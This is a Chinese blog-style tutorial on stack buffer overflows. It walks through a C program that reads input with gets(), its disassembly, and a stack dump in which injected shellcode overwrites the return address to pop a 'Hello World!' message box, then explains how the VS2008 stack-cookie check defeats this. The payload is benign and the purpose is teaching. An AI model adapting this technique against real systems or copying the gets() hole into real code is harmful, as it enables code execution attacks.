总所周知,使用scanf,printf,strcpy等这些古老的函数会被VS警告,但是这有什么坏处呢?会造成堆栈溢出,不怀好意的人如果发现了这个漏洞就会写入自己的代码干坏事(VS2008以上已经修复该bug,不过还是不建议使用这些函数,而是使用_s版本的)。
下面是我刚弄出来的一个,还很简陋,就直接贴上来了。
#include <stdio.h>
#include <stdlib.h>
#define N 100
int Function()
{
char str[N];
freopen("1.txt", "r", stdin);
gets(str);
return 0;
}
int main(int argc, char* argv[])
{
Function();
return 0;
}
编译器:dev C++4.9.9.2
系统:Windows XP SP3
看似这段代码没啥问题,其实危机四起。
00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 81EC 88000000 SUB ESP,88
00401299 |. A1 D8504000 MOV EAX,DWORD PTR DS:[<&msvcrt._iob>] ; ||
0040129E |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX ; ||
004012A2 |. C74424 04 003>MOV DWORD PTR SS:[ESP+4],flow.00403000 ; ||
004012AA |. C70424 023040>MOV DWORD PTR SS:[ESP],flow.00403002 ; ||ASCII "1.txt"
004012B1 |. E8 8A050000 CALL <JMP.&msvcrt.freopen> ; |\freopen
004012B6 |. 8D45 88 LEA EAX,DWORD PTR SS:[EBP-78] ; |
004012B9 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012BC |. E8 6F050000 CALL <JMP.&msvcrt.gets> ; \gets
004012C1 |. B8 00000000 MOV EAX,0
004012C6 |. C9 LEAVE
004012C7 \. C3 RETN
这是上面的代码的反汇编代码。
由于gets函数不会管str的大小,也不管是不是超过了100,看见东西就往里面写,写完的数据的栈会变成这样。
0022FED0 0022FEE0 ASCII "User32.dll"
0022FED4 00403000 flow.00403000
0022FED8 77C2FC80 OFFSET msvcrt._iob
0022FEDC 7C9301E0 ntdll.7C9301E0
0022FEE0 72657355
0022FEE4 642E3233
0022FEE8 48006C6C
0022FEEC 6F6C6C65
0022FEF0 726F5720
0022FEF4 0021646C
0022FEF8 60EC8360
0022FEFC 22FEE068
0022FF00 1D7BB800
0022FF04 D0FF7C80
0022FF08 EB68016A
0022FF0C 680022FE
0022FF10 0022FEEB ASCII "Hello World!"
0022FF14 EAB8006A
0022FF18 FF77D507
0022FF1C 006A61D0
0022FF20 81CB12B8
0022FF24 33D0FF7C
0022FF28 313131C0
0022FF2C 31313131
0022FF30 31313131
0022FF34 31313131
0022FF38 31313131
0022FF3C 31313131
0022FF40 31313131
0022FF44 31313131
0022FF48 31313131
0022FF4C 31313131
0022FF50 31313131
0022FF54 31313131
0022FF58 31313131
0022FF5C 0022FEF8
0022FF60 77C0AE00 msvcrt.77C0AE00
0022FF64 7C930228 ntdll.7C930228
从而覆盖了正常的堆栈数据,当执行到RETN的时候,堆栈里面的数据就变成了这样。
0022FF5C 0022FEF8
0022FF60 77C0AE00 msvcrt.77C0AE00
0022FF64 7C930228 ntdll.7C930228
0022FF68 003F2C90
0022FF6C 004012ED 返回到 flow.004012ED 来自 flow.00401740
注意栈顶是0022FEF8,当执行RETN的时候,eip就会变成0022FEF8,这就意味着下一条代码就在你刚才写进去的堆栈里面,我发一下1.txt里面的内容。
里面的代码是这样:
可以看出,在里面调用了LoadLibraryA,MessageBoxA,ExitProcessA等API,使得一个看似没有弹窗能力的窗口弹出了一个hello world的消息窗。
如果把这段代码换成你写的其他功能的,就有可能在你不知情的情况下干坏事。
附:VS2008及以上解决此漏洞的方法。
00401000 /$ 83EC 68 SUB ESP,68
00401003 |. A1 00304000 MOV EAX,DWORD PTR DS:[403000]
00401008 |. 33C4 XOR EAX,ESP
0040100A |. 894424 64 MOV DWORD PTR SS:[ESP+64],EAX
0040100E |. FF15 A0204000 CALL DWORD PTR DS:[<&MSVCR90.__iob_func>>; MSVCR90.__p__iob
00401014 |. 50 PUSH EAX ; /stream
00401015 |. 68 F4204000 PUSH Overflow.004020F4 ; |mode = "r+"
0040101A |. 68 F8204000 PUSH Overflow.004020F8 ; |path = "1.txt"
0040101F |. FF15 A8204000 CALL DWORD PTR DS:[<&MSVCR90.freopen>] ; \freopen
00401025 |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C]
00401029 |. 50 PUSH EAX
0040102A |. 68 00214000 PUSH Overflow.00402100 ; /format = "%s"
0040102F |. FF15 9C204000 CALL DWORD PTR DS:[<&MSVCR90.scanf>] ; \scanf
00401035 |. 8B4C24 78 MOV ECX,DWORD PTR SS:[ESP+78]
00401039 |. 83C4 14 ADD ESP,14
0040103C |. 33CC XOR ECX,ESP
0040103E |. 33C0 XOR EAX,EAX
00401040 |. E8 04000000 CALL Overflow.00401049
00401045 |. 83C4 68 ADD ESP,68
00401048 \. C3 RETN
在里面有一个Call Overflow.00401049,在操作str之前,会在尾部写入一个标记,这个标记和当前系统的时间有关,然后保存,最后操作完堆栈里面比较这个标记是否被改变,如果改变就直接结束进程,这就使得eip不能指向你写入的堆栈了。